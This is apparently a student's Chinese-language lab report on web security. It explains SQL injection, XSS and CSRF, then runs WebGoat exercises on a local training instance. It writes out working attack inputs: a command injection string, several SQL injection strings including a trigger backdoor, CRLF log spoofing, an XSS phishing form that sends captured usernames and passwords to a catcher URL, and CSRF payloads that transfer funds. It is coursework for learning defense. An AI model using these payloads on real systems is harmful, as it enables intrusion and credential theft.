2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
1.基础问题
SQL注入攻击原理,如何防御
- 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同时程序本身也对输入语句没有过滤,导致SQL语句被执行。
- 预防:
- 对输入字符长度进行限制
- 对输入数据进行关键字过滤,
- 加密数据库
- 在PHP配置中进行防范,如:
Register_globals=off;拒绝在输入行进行注册;Safe_mode=on;开启安全模式
XSS攻击的原理,如何防御
- 原理:XSS攻击(跨站脚本攻击),攻击方将程序代码注入到网页上,其他使用者在浏览网页时就会收到影响。主要目的是想办法获取目标攻击机的cookie。通常使用HTML以及用户端脚本语言。
- 防御:
- 对输入和URL参数进行过滤
- 对输入进行敏感词过滤,如<>,""等
- 当输出敏感数据时,进行严格检查
CSRF攻击原理,如何防御
- 原理:CSRF攻击(跨站伪造请求),攻击者利用XSS的注入方法注入一段脚本,当受害者点击浏览器运行改脚本时,脚本伪造受害者发送一个合法请求。
- 防御:
- 验证请求中的token、referer或者添加随机验证
- 设定cookie域:某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
2.实践过程
0.前期准备:
安装jdk1.8,过程参考20165233的博客
运行WebGoat
java -jar webgoat-container-7.0.1-war-exec.jar当看到
Starting ProtocolHandler ["http-bio-8080"]这一条消息之后,即可开始后续的实验。
在浏览器中输入
http://localhost:8080/WebGoat进入WebGoat登录界面,下方已经给出两组默认的用户名和密码,输入一组即可。

1.Command Injection命令注入
右键点击复选框,选择inspect Element对网页的源代码进行修改,在末尾添加
"& netstat -an & ipconfig"

点击View,攻击成功

与正常结果对比,可知网页执行了
netstat -an命令并返回了结果


2.Numeric SQL Injection数字型注入
- 右键单击复选框,查看代码,对
value="101"进行修改,在城市101后添加or 1=1 - 点击
GO,攻击成功,可以看到所有城市的天气情况

3.Log Spoofing 日志欺骗
- 利用换行符伪造一个假的日志消息,使得用户名是Admin的用户,在日志中能够登录成功
- 在文本框中输入
webgoat%0d%0aLogin Succeeded for username: admin显示admin登录成功

4.Stage 1:String SQL Injection 字符串型注入
右击password框,查看网页代码,修改password的最大输入为20

登录的用户选择Nevile ,password输入
Smith' or 1=1 --

攻击成功,显示所有人列表

5.Stage 3:Numeric SQL Injection 数字型SQL注入
- 首先登录Larry 查看员工larry的信息


在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素
为了把老板排到第一个咱们应该在员工ID:101后面给他加上这么一些东西进行SQL注入排序,即:
101 or 1=1 order by salary desc其中desc表示使用降序排列。
再次点击
ViewProfile,即可获取老板的信息

6.Database Backdoors 数据库后门
首先输入101 查看这个用户的消息

输入测试注入语句
101; update employee set salary=10000查看到已经更新

使用以下查询条件,添加触发器:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid可以看到攻击成功
7. Phishing with XSS
在搜索框输入XSS攻击代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
提交之后输入用户名和密码,可以看到被输入被获取

8. Reflected XSS
- 在
code框输入<script>alert("20165205");</script> - 点击
purchase,则会弹出窗口,内容是括号里的串

9.Stored XSS Attacks
- 在
massage部分插入jsp代码,代码会被浏览器解析成html的内容 - 在
message窗口输入<script>alert("liuzjejun");</script>则会弹出窗口,说明攻击成功

10.Cross Site Request Forgery
查看自己电脑的Screen和menu的值

message内容为
<img src="http://localhost:8080/WebGoat/attack?Screen=321&menu=900&transferFunds=5000"/>提交后,会在消息列表中看到一个新的消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。


11.CSRF Prompt By-Pass
利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器
在message框输入
<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>提交后显示攻击成功

遇到的问题
- 刚开始打开webgoat时左侧栏只显示一项,查了jdk,查到了openjdk,但这个不是我们要用的jdk,之后下载安装了jdk1.8,解决了问题

2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- redis的数据结构及操作命令
一.字符串: redis中最为基础的存储类型,以二进制存储,value的字符串最多512M,Key做多1024字节. 常用命令:赋值(set).取值(get).删除(del),递增(incr/incr ...
- php之Opcache
opcache的原理 1.Opcache是什么? Opcache是一种通过将解析的PHP脚本预编译的字节码(Operate Code)存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直 ...
- nginx之健康检查
正常情况下,nginx做反向代理,如果后端节点服务器宕掉的话,nginx默认是不能把这台realserver踢出upstream负载集群的,所以还会有请求转发到后端的这台realserver上面,这样 ...
- Centos7搭建solr集群
1.复制4个Tomcat到solr-cloud目录下 [root@localhost software]# cp -r apache-tomcat-9.0.24 /usr/local/solr-clo ...
- Java学习笔记【六、正则表达式】
参考:http://www.runoob.com/java/java-regular-expressions.html 概述 java.util.regex包,主要包含三个类: Pattern:正则表 ...
- layui弹出层基础参数
一.type-层类型 类型:Number 默认为0(信息框); 1(页面层),可以在页面添加HTML内容 2(iframe层) 3(加载层)加载时显示的弹出框 4(tips层) 需要绑定ID就不展示 ...
- Win7自带的系统备份还原功能如何去使用?
很多用户都会反映Win7系统使用过程中会出现系统或应用程序方面的小故障,针对这些小问题,再选择进行电脑系统的重装就有些过于麻烦了. 其实Win7系统内带有系统备份和还原的功能,可以在电脑系统出现小问题 ...
- 在MDK 中忽略(suppress) 某一个警告
文章转载自:http://www.51hei.com/bbs/dpj-29515-1.html 有时候我们需要在MDK中忽略掉某一个具体的warnning,怎么做呢? 只需在Misc Control中 ...
- 4.5. scrapy两大爬虫类_Spider
一:Spider Spider类定义了如何爬取某个(或某些)网站.包括了爬取的动作(例如:是否跟进链接)以及如何从网页的内容中提取结构化数据(爬取item). 换句话说,Spider就是您定义爬取 的 ...
- Java常见Exception类型及中文翻译
地址:http://rymden.nu/exceptions.html 翻译: java.lang ArithmeticException 你正在试图使用电脑解决一个自己解决不了的数学问题,请重新阅读 ...